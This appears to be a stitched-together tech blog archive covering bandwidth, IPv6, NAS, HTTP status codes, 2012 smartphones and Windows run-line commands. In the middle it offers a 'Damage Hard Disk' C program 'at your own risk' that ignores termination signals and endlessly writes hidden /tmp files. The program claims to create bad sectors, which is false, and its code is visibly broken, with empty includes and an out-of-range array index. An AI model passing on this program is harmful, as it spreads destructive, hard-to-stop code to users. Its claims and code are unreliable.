Bandwidth, What is Bandwidth, What does Bandwidth mean ?

Many a times we hear the word bandwidth and some of us keep wondering that what bandwidth is really. How does it determine our internet speed? Why do many hosting companies provide many bandwidth options In their plans?
Bandwidth can be defined as how much data capacity a particular network segment has to offer or in a layman’s language, it is a data transmission rate; the maximum amount of information (bits/second) that can be transmitted along a channel. Bandwidth determines the amount of data exchange that can take place between your computer and internet.

Bandwidth Distribution System

Think of roads as bandwidth and users traffic as vehicles. If there are more vehicles and fewer roads then the speed of vehicles will be slow. But if there is only one vehicle on the roads then their speed will be very fast. So if there are many users surfing the internet, then each will get a piece of the bandwidth and so your surfing speed will be slow. Even if many people are downloading a same file, download speed will drop to a certain extent.
If u ever wondered that why does sometime your downloads take very much time to complete, it is all about Bandwidth. As the bandwidth increases, so does the amount of data that can flow through in a given amount of time, increases. An Internet connection with a large bandwidth can move a large data (say, a video file) much faster than an Internet connection with a lower bandwidth.

Often a term called bandwidth bottleneck  is used in computing language. A real communications path usually consists of a succession of links, each with its own bandwidth. If one of these is much slower than the rest, it is said to be a bandwidth bottleneck.

Bandwidth Bottleneck

To conduct your bandwidth speed test Click Here

IPv6 Next Generation Internet Protocol : A Brief Guide

IPv4 and IPv6 are the past and the future of the internet addresses the way the devices would be communicating with each other. IPv4 is the old system of assigning the unique IP addresses to various devices enabling them to communicate and transfer data effectively.

What is an IP address ?

Well to be brief  the Internet operates by transferring data in small packets communications protocol known as the Internet Protocol. Each data packet contains two numeric addresses that are the packet’s origin and destination devices. So each device has its own unique address just like we have our own unique names and identifications that are independently routed across networks as specified by an international

What is IPv4 and What’s the problem with it  ?

IPv4 or the Internet Protocol Version 4 is the current way how we are actually using the IP addresses.  Since it uses 32 bit so the total number of addresses that are available are just 2^32. Now that may sound astonishing but please pay an attention to the underlying facts as well. We have already allotted around 4.2  billion IP addresses to various institutes and devices. It’s not that we have run out of addresses but we may soon, cause most of the remaining addresses are already assigned to various institutes like MIT, IBM, etc and thus a IPv4 address is a very scarce resource and in future would become even more scarce when even these address are traded out.

What is IPv6 and How is it going to solve This Problem.

IPv6 or the internet Protocol Version 6 is the new set of addresses that would be rolled out. The basic difference between the IPv4 and IPv6 remains that IPv6 utilities 128 bit addresses that is we would have 2^128 unique addresses , now that’s enough for each one of us.

So what makes this transition so difficult.

Well this transition from IPv4 to IPv6 began around a decade ago but it was a slow transition because of the cost involved in it. The true test of IPv6 would be on June 8, 2011, World IPv6 Day. Google, Facebook and other prominent web companies will test drive the IPv6 network. Various techniques are used to move from IPv4 to IPv6 like, Dual IP Stacks ,Dual Stack Application Level Gateway (Dual Stack ALG),Network Address Translator – Protocol Translator (NAT-PT) ,Dual Stack Transition Mechanism, or DSTM ,IPv6 over IPv4 tunneling etc .A detailed description is available on Net just Google it or visit this link.

How IPv4 to IPv6 transition is going to Affect Me?

Well perhaps it won’t and would both at same time. Most of the major operating systems like Windows XP Sp1, Mac OS X 10.2 support IPv6 and IPv4 as well. But it would be difficult to make a connection between a device with an IPv6 address to a router or server that only supports IPv4 impossible.
Since IPv6 is still new and companies like Google,IBM,Facebook would be still checking its security and stability it would be fun to watch to see the world move from IPv4 to IPv6. In the mean time get your self this gadget to see the real-time countdown of saying bye to Ipv4.
IPv4 Exhaustion Counter

What is Network Attached Storage (NAS) server

Network Attached Storage(NAS)

“Network-attached storage (NAS) is file-level computer data storage connected to a computer network providing data access to heterogeneous clients.”  If that sounds too technical then in layman’s language a NAS is simply a  server that is dedicated to nothing more than file sharing.

Simply speaking  using a traditional LAN protocol such as TCP/IP over Ethernet, the NAS enables additional storage to be quickly added by plugging it into a network hub or switch.

NAS does not provide any of the activities that a server in a server-centric system typically provides, such as e-mail,authentication or file management,however these services maybe later added as a add-on.

So why do we need a NAS:

Well just consider a business that has more than one employee and that has tonnes of data in its server,if that business decides to move from one location to other,then it has to take all its data with it. It would be really great option if all this data was centralized and could be accessed from anywhere but for a small business that option is not a practical one considering the cost of a file server, or an additional license  of Windows server 2003,or a support license of Linux for that matter. Now this is where the NAS steps in to provide a reliable and cheap solution to your data-storage needs.They often include built-in features such as disk space quotas, secure authentication, or the automatic sending of email alerts should an error be detected.

So how does a NAS work:

Well traditionally like a  file servers, NAS follows a client-server design. A single hardware device, often called the NAS box or NAS head, acts as the interface between the NAS and network clients.These devices run on an embedded OS . Single or multiple hard drives can be connected to a NAS . A client usually connects to the NAS head and not directly to the storage device, a client often connects using Ethernet connection,and thus a NAS  appears as a single ‘node’ in the network often the IP address of the NAS device.With a NAS device, storage is not an integral part of the server. Instead, in this storage-centric design, the server still handles all of the processing of data but a NAS device delivers the data to the user. A NAS device does not need to be located within the server but can exist anywhere in a LAN.

Communication with the NAS head occurs with TCP/IP . The two file-based protocols most commonly associated with NAS are Sun Network File System (NFS) and Common Internet File System (CIFS).
NFS was developed for UNIX based systems to transfer files over LAN.
The CIFS was formerly known as Server Message Block (SMB). SMB was developed by IBM and Microsoft to support file sharing in DOS.
Many NAS systems today support HTTP as a protocol to enable you to browse content using the browser.
Other Network protocols used to serve NAS:

• FTPS
• FTP
• UPnP
• Apple Filing Protocol (AFP)
• rsync
• Andrew file system (AFS)

Why is NAS cheaper :

Well a NAS is cheaper because of various factors like  it runs a stripped-down operating system,often FreeNAS. And  at the same time it offers very limited services when compared to a full-fledged file-server.
If you are considering to buy a NAS for yourself you may consider paying a visit to following reviews of NAS by PC magazine and CNET.
http://www.pcworld.com/article/125072/top_10_networkattached_storage_devices.html
http://reviews.cnet.com/best-network-attached-storage/

What is HTTP, Role of HTTP in Web and HTTP Status Codes

There are two main modes of transferring file over the World Wide Web, one is FTP (file transfer protocol) and other is HTTP (Hypertext Transfer Protocol) Which is the set of rules for transferring files (text, graphic images, sound, video, and other multimedia files) on the World Wide Web. As soon as a Web user opens their Web browser, the user is indirectly making use of HTTP. HTTP is an application protocol that runs on top of the TCP/IP suite of protocols. Whereas, FTP is used to transfer bulk files

How HTTP works??

We submitted URL (universal resource locator) in the URL bar and hits enter, Then our browser send HTTP requests to the web server for the web pages. Web server serves the HTTP request by convert that page in to appropriate form that our web browser can read and send the result via HTTP response. So HTTP is a medium to communicate to the web server. One more thing some server sends HTTP cookies on the web browser, in which all the personal setting and login data of user is stored.

There are various HTTP status codes to maintain the internet standards and helpful to sort out the problem. HTTP status codes are divides in to four major categories.

• 100-101 Intermediate Status
• 200-206 Successful Response
• 300-307 Redirects
• 400-417 Request Errors
• 500-505 Server Errors

The details of these HTTP status codes are:

• 100-101 Intermediate Status

100 continue The server returns this code to indicate that it has received the first part of a request and is waiting for the rest.

101 switching protocol The requester has asked the server to switch protocols

• 200-206 Successful Response

200 Successful The server successfully processed the request

201 created the server created a new resource

202 accepted request is accepted and under processing.

203 Non-authoritative information The server processed the request, but is returning information that may be from another source

204 No content Server not returning any content after processing request

205 reset content response requires that the requester reset the document view. after facing 204 status code.

206 Partial content The server successfully processed a partial GET request.

• 300-307 Redirects

300 Multiple choices There are multiple choices for users.

301 Moved permanently In future user will be redirected to the given url

302 Moved temporarily Temporarily user will be directed to the given url

303 See other location For all requests other than a HEAD request, the server automatically forwards to the other location.

304 Not modified The requested page hasn’t been modified since the last request.

305 Use proxy The requester can only access the requested page using a proxy.

306 Switch Proxy No longer used.

307 Temporary redirect The request should be repeated with another URI, but future requests can still use the original URI.

• 400-417 Request Errors

400 Bad request The request cannot be fulfilled. because it is inappropriate.

401 not authorized specifically for use when authentication is possible but has failed.

402 Payment Required No longer used

403 forbidden Access decline due to unauthorized.

404 Not found When no results found as per query or URL provided by user

405 method not allowed The method specified in the request is not in the correct form.

406 Not acceptable The requested page can’t respond with the content characteristics requested

407 proxy authentication required Need to authenticate with proxy

408 Request timeout Request is not processed in the appropriate time interval

409 conflict When request conflict occurs

410 Gone Indicates that the resource requested is no longer available and will not be available again
411 length required The server won’t accept the request without a valid Content-Length header field
412 Precondition failed request fails to fulfill the precondition that are required by web server
413 request entity too large Server is not able to process too long request
414 Requested URI is too long Server can’t process long query string.
415 unsupported media type The request is in a format not support by the requested page
416 Requested range unsatisfiable The server returns this status code if the request is for a range not available for the page
417Expectation failed server failed to process what ever the request expect by the client

• 500-505 Server Errors

500 internal server error Server fails to interpreters the HTTP request. 

501 Not implemented When request is partially completed or can’t be send to client

502 bad gateway Server gateway is nor responding

503 Service unavailable server  is temporary out of service

504 gateway timeout Didn’t receive timely response from upstream server.

505 HTTP version not supported The server doesn’t support the HTTP protocol version used in the request.
I hope the concept of HTTP is very clear to you.

Top 5 Smartphones unveiled at MWC 2012

Biggest show of the mobile industry has come to an end. Like every year, Mobile World Congress was packed with tons of phone and tablet launches. Here we are covering top 5 smartphone unveiled by popular brands.

Nokia 808 Pureview

Yes it runs on crappy Symbian but still makes up to the list of top five. Reason behind all this is a whopping 41 megapixel camera  which you expected to see on any smartphone by 2013 or even later. The phone features a 1.3 GHz processor and 4 inch display with resolution of 640 x 360 pixels. Whats more surprising is the phone winning the official Best of Show award at Mobile World Congress. Well no one expected this award will be going to Nokia, atleast I didn’t. But 41 megapixel camera on a phone is really a big deal. The official sample pictures clicked by the phone have been also uploaded to Flickr by NokiaOfficial.

HTC ONE X

HTC One X is the first phone running on Quad Core Processor. Its sports a 8 Megapixel with auto focus, smart LED flash, and BSI sensor for capturing some amazing moments of your life. The phone also has stunning 4.7 inch HD display with resolution of 1280*720 pixels. ONE X is my personal favorite not just because of powerful processor but also because of its design, build quality, beats audio, HTC Sense 4 & some of the cool new features introduced for the first time.

HTC ONE V

Second phone in the HTC X lineup, ONE V shares some of its specifications with Rhyme. The phone is powered by 1 GHz dual core processor, 512 MB of RAM, 5 Megapixel camera with 720p Video Recording and lastly 3.7 inch display with resolution of 480 x 800 pixels. HTC ONE V also has beats audio and is expected to hit stores with ONE X & ONE S in first week of April 2012. Pre-order is already up on Clove UK for ONE X at £410.00, ONE S at £375.00  and ONE V at £220.00. Credit for high pricing goes only to Beats.

NOKIA LUMIA 900

I know Lumia was announced at CES 2012 but that was only LTE version with AT&T, America’s leading network. But finally after a month wait, Nokia has finally announced the global version (unlocked) available in its usual colors white, cyan and black.  The phone is powered by 1.4 GHz processor and 512 MB RAM with 4.3″ AMOLED display. It sports a 8 Megapixel camera with LED flash. Lumia 900 will be available in Q2 of 2012 and will retail for 480€.

ASUS Padfone

No, Its just not a single thing. This is a phone, a tablet and a netbook.  Confused? Well, Let me explain. Asus, the Taiwan based smartphone and tablet manufacturer has unveiled the much awaited Padfone running on Android 4.0 Ice Cream Sandwich. The phone features a 4.3 inch display and when it is placed inside the optional PadFone Station, it transforms into a 10.1 inch tablet with five times more powerful battery. Pure Magic, isn’t it?  There is more, if you now connect the tablet to an optional accessory such as keyboard the battery life is 9 times more. This is certainly one of the best technologies we have seen in last few years. To get a better idea you can watch this video here.

Damage Hard Disk

This program will create Bad Sectors on HDD and in turn it will damage the hard disk.

(Use at your own risk)

#include
#include
#include
#include
#include
#include
#include

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

DOS Tricks

 !!Tricks@ DoS

 

 Accessibility Controls

 access.cpl


Add Hardware Wizard

 hdwwiz.cpl


Add/Remove Programs

 appwiz.cpl


Administrative Tools

 control admintools


Automatic Updates

 wuaucpl.cpl


Bluetooth Transfer Wizard

 fsquirt


Calculator

 calc


Certificate Manager

 certmgr.msc


Character Map

 charmap


Check Disk Utility

 chkdsk


Clipboard Viewer

 clipbrd


Command Prompt

 cmd


Component Services

 dcomcnfg


Computer Management

 compmgmt.msc


timedate.cpl

 ddeshare


Device Manager

 devmgmt.msc


Direct X Control Panel (If Installed)*

 directx.cpl


Direct X Troubleshooter

 dxdiag


Disk Cleanup Utility

 cleanmgr


Disk Defragment

 dfrg.msc


Disk Management

 diskmgmt.msc


Disk Partition Manager

 diskpart


Display Properties

 control desktop


Display Properties

 desk.cpl


Display Properties (w/Appearance Tab Preselected)

 control color


Dr. Watson System Troubleshooting Utility

 drwtsn32


Driver Verifier Utility

 verifier


Event Viewer

 eventvwr.msc


File Signature Verification Tool

 sigverif


Findfast

 findfast.cpl


Folders Properties

 control folders


Fonts

 control fonts


Fonts Folder

 fonts


Free Cell Card Game

 freecell


Game Controllers

 joy.cpl


Group Policy Editor (XP Prof)

 gpedit.msc


Hearts Card Game

 mshearts


Iexpress Wizard

 iexpress


Indexing Service

 ciadv.msc


Internet Properties

 inetcpl.cpl


IP Configuration (Display Connection Configuration)

 ipconfig /all


IP Configuration (Display DNS Cache Contents)

 ipconfig /displaydns


IP Configuration (Delete DNS Cache Contents)

 ipconfig /flushdns


IP Configuration (Release All Connections)

 ipconfig /release


IP Configuration (Renew All Connections)

 ipconfig /renew


IP Configuration (Refreshes DHCP & Re-Registers DNS)

 ipconfig /registerdns


IP Configuration (Display DHCP Class ID)

 ipconfig /showclassid


IP Configuration (Modifies DHCP Class ID)

 ipconfig /setclassid


Java Control Panel (If Installed)

 jpicpl32.cpl


Java Control Panel (If Installed)

 javaws


Keyboard Properties

 control keyboard


Local Security Settings

 secpol.msc


Local Users and Groups

 lusrmgr.msc


Logs You Out Of Windows

 logoff


Microsoft Chat

 winchat


Minesweeper Game

 winmine


Mouse Properties

 control mouse


Mouse Properties

 main.cpl


Network Connections

 control netconnections


Network Connections

 ncpa.cpl


Network Setup Wizard

 netsetup.cpl


Notepad

 notepad


Nview Desktop Manager (If Installed)

 nvtuicpl.cpl


Object Packager

 packager


ODBC Data Source Administrator

 odbccp32.cpl


On Screen Keyboard

 osk


Opens AC3 Filter (If Installed)

 ac3filter.cpl


Password Properties

 password.cpl


Performance Monitor

 perfmon.msc


Performance Monitor

 perfmon


Phone and Modem Options

 telephon.cpl


Power Configuration

 powercfg.cpl


Printers and Faxes

 control printers


Printers Folder

 printers


Private Character Editor

 eudcedit


Quicktime (If Installed)

 QuickTime.cpl


Regional Settings

 intl.cpl


Registry Editor

 regedit


Registry Editor

 regedit32


Remote Desktop

 mstsc


Removable Storage

 ntmsmgr.msc


Removable Storage Operator Requests

 ntmsoprq.msc


Resultant Set of Policy (XP Prof)

 rsop.msc


Scanners and Cameras

 sticpl.cpl


Scheduled Tasks

 control schedtasks


Security Center

 wscui.cpl


Services

 services.msc


Shared Folders

 fsmgmt.msc


Shuts Down Windows

 shutdown


Sounds and Audio

 mmsys.cpl


Spider Solitare Card Game

 spider


SQL Client Configuration

 cliconfg


System Configuration Editor

 sysedit


System Configuration Utility

 msconfig


System File Checker Utility (Scan Immediately)

 sfc /scannow


System File Checker Utility (Scan Once At Next Boot)

 sfc /scanonce


System File Checker Utility (Scan On Every Boot)

 sfc /scanboot


System File Checker Utility (Return to Default Setting)

 sfc /revert


System File Checker Utility (Purge File Cache)

 sfc /purgecache


System File Checker Utility (Set Cache Size to size x)

 sfc /cachesize=x


System Properties

 sysdm.cpl


Task Manager

 taskmgr


Telnet Client

 telnet


User Account Management

 nusrmgr.cpl


Utility Manager

 utilman


Windows Firewall

 firewall.cpl


Windows Magnifier

 magnify


Windows Management Infrastructure

 wmimgmt.msc


Windows System Security Tool

 syskey


Windows Update Launches

 wupdmgr


Windows XP Tour Wizard

 tourstart


Wordpad

 write


Run line commands can be very useful some times, its better to know them here are all the commands that i know u might find them usefull too Commands are same for Windows xp pro and home


Run Line Commands

These are GUI applications that can be opened from the run line.
These applications are not located in the C:\windows\system32\ directory, the
keys for these applications are located in the registry under:
HKLM\software\microsoft\windows\currentversion\app paths
BCKGZM.EXE - Backgammon
CHKRZM.EXE - Checkers
CONF.EXE - NetMeeting
DIALER.EXE - Phone Dialer
HELPCTR.EXE - Help and Support
HRTZZM.EXE - Internet Hearts
HYPERTRM.EXE - HyperTerminal
ICWCONN1.EXE - Internet Connection Wizard
IEXPLORE.EXE - Internet Explorer
INETWIZ.EXE - Setup Your Internet Connection
INSTALL.EXE - User's Folder
MIGWIZ.EXE - File and Settings Transfer Wizard
MOVIEMK.EXE - Windows Movie Maker
MPLAYER2.EXE - Windows Media Player Version 6.4.09.1120
MSCONFIG.EXE - System Configuration Utility
MSIMN.EXE - Outlook Express
MSINFO32.EXE - System Information
MSMSGS.EXE - Windows Messenger
MSN6.EXE - MSN Explorer
PBRUSH.EXE - Paint
PINBALL.EXE - Pinball
RVSEZM.EXE - Reversi
SHVLZM.EXE - Spades
TABLE30.EXE - User's Folder
WAB.EXE - Windows Address Book
WABMIG.EXE - Address Book Import Tool
WINNT32.EXE - User's Folder
WMPLAYER.EXE - Windows Media Player
WRITE.EXE - Wordpad

These .EXE files reside in (c:\windows\system32\) or (c:\windows\) directory.
ACCWIZ.EXE - Accessibility Wizard
CALC.EXE - Calculator
CHARMAP.EXE - Character Map
CLEANMGR.EXE - Disk Space Cleanup Manager
CLICONFG.EXE - SQL Client Configuration Utility
CLIPBRD.EXE - Clipbook Viewer
CLSPACK.EXE - Class Package Export Tool
CMD.EXE - Command Line
CMSTP.EXE - Connection Manager Profile Installer
CONTROL.EXE - Control Panel
DCOMCNFG.EXE - Component Services
DDESHARE.EXE - DDE Share
DRWATSON.EXE - Doctor Watson v1.00b
DRWTSN32.EXE - Doctor Watson Settings
DVDPLAY.EXE - DVD Player
DXDIAG.EXE - DirectX Diagnostics
EUDCEDIT.EXE - Private Character Editor
EVENTVWR.EXE - Event Viewer
EXPLORER.EXE - Windows Explorer
FREECELL.EXE - Free Cell
FXSCLNT.EXE - Fax Console
FXSCOVER.EXE - Fax Cover Page Editor
FXSEND.EXE - MS Fax Send Note Utility
IEXPRESS.EXE - IExpress 2.0
LOGOFF.EXE - System Logoff
MAGNIFY.EXE - Microsoft Magnifier
MMC.EXE - Microsoft Management Console
MOBSYNC.EXE - Microsoft Synchronization Manager
MPLAY32.EXE - Windows Media Player version 5.1
MSHEARTS.EXE - Hearts
MSPAINT.EXE - Paint
MSTSC.EXE - Remote Desktop Connection
NARRATOR.EXE - Microsoft Narrator
NETSETUP.EXE - Network Setup Wizard
NOTEPAD.EXE - Notepad
NSLOOKUP.EXE - NSLookup Application
NTSD.EXE - Symbolic Debugger for Windows 2000
ODBCAD32.EXE - ODBC Data Source Administrator
OSK.EXE - On Screen Keyboard
OSUNINST.EXE - Windows Uninstall Utility
PACKAGER.EXE - Object Packager
PERFMON.EXE - Performance Monitor
PROGMAN.EXE - Program Manager
RASPHONE.EXE - Remote Access Phonebook
REGEDIT.EXE - Registry Editor
REGEDT32.EXE - Registry Editor
RESET.EXE - Resets Session
RSTRUI.EXE - System Restore
RTCSHARE.EXE - RTC Application Sharing
SFC.EXE - System File Checker
SHRPUBW.EXE - Create Shared Folder
SHUTDOWN.EXE - System Shutdown
SIGVERIF.EXE - File Signature Verification
SNDREC32.EXE - Sound Recorder
SNDVOL32.EXE - Sound Volume
SOL.EXE - Solitaire

SPIDER.EXE - Spider Solitaire
SYNCAPP.EXE - Create A Briefcase
SYSEDIT.EXE - System Configuration Editor
SYSKEY.EXE - SAM Lock Tool
TASKMGR.EXE - Task Manager
TELNET.EXE - MS Telnet Client
TSSHUTDN.EXE - System Shutdown
TOURSTART.EXE - Windows Tour Launcher
UTILMAN.EXE - System Utility Manager
USERINIT.EXE - My Documents
VERIFIER.EXE - Driver Verifier Manager
WIAACMGR.EXE - Scanner and Camera Wizard
WINCHAT.EXE - Windows for Workgroups Chat
WINHELP.EXE - Windows Help Engine
WINHLP32.EXE - Help
WINMINE.EXE - Minesweeper
WINVER.EXE - Windows Version Information
WRITE.EXE - WordPad
WSCRIPT.EXE - Windows Script Host Settings
WUPDMGR.EXE - Windows Update

The following are Control Panel applets that can be run from the run line.
They are located in the c:\windows\system32 directory, and have the file type
extension ".CPL".
ACCESS.CPL - Accessibility Options
APPWIZ.CPL - Add or Remove Programs
DESK.CPL - Display Properties
HDWWIZ.CPL - Add Hardware Wizard
INETCPL.CPL - Internet Explorer Properties
INTL.CPL - Regional and Language Options
JOY.CPL - Game Controllers
MAIN.CPL - Mouse Properties
MMSYS.CPL - Sounds and Audio Device Properties
NCPA.CPL - Network Connections
NUSRMGR.CPL - User Accounts
ODBCCP32.CPL - ODBC Data Source Administrator
POWERCFG.CPL - Power Options Properties
SYSDM.CPL - System Properties
TELEPHON.CPL - Phone and Modem Options
TIMEDATE.CPL - Date and Time Properties
The following are Microsoft Management Console Snap-ins that can be opened from
the run line. These applications have the file type extension ".MSC".
CERTMGR.MSC - Certificates
CIADV.MSC - Indexing Service
COMPMGMT.MSC - Computer Management
DEVMGMT.MSC - Device Manager
DFRG.MSC - Disk Defragmenter
DISKMGMT.MSC - Disk Management
EVENTVWR.MSC - Event Viewer
FSMGMT.MSC - Shared Folders
LUSRMGR.MSC - Local Users and Groups
NTMSMGR.MSC - Removable Storage
NTMSOPRQ.MSC - Removable Storage Operator Requests
PERFMON.MSC - Performance Monitor
SERVICES.MSC - Services
WMIMGMT.MSC - Windows Management Infrastructure





Calculation on command Prompt ! u knew dis???

The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers:

C:\>set /a 2+2
4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7

Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

For more information, type set /? at the command prompt.

***************************************************

Hey folks, do u know that windows XP is having a hidden "Star Wars Movie" inside it???
You should be connected to the NET for using this.
Go to Starts-->Programs-->Run
Type
telnet towel.blinkenlights.nl
And hit enter......... Enjoy the magic!!!!